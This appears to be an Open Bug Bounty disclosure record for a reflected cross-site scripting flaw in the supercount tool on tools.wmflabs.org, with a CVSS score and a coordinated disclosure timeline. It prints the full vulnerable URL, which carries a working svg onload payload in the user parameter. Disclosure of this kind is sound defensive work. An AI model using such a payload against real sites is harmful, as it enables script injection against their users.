tools.wmflabs.org XSS vulnerability

2017-12-07T16:22:00
ID OBB:449911
Type openbugbounty
Reporter SoKa
Modified 2018-03-07T16:22:00

Description

Open Bug Bounty ID: OBB-449911

Description| Value
---|---
Affected Website:| tools.wmflabs.org
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
https://tools.wmflabs.org/supercount/index.php?user=%22--!%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E%22%3B%3C%2Fscript%3E&project;=&toplimit;=10
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 7 December, 2017 16:22 GMT
Vulnerability Verified:| 7 December, 2017 16:24 GMT
Website Operator Notified:| 7 December, 2017 16:24 GMT
Vulnerability Published:| 7 December, 2017 16:24 GMT[without any technical details]
Public Disclosure:| 7 March, 2018 16:22 GMT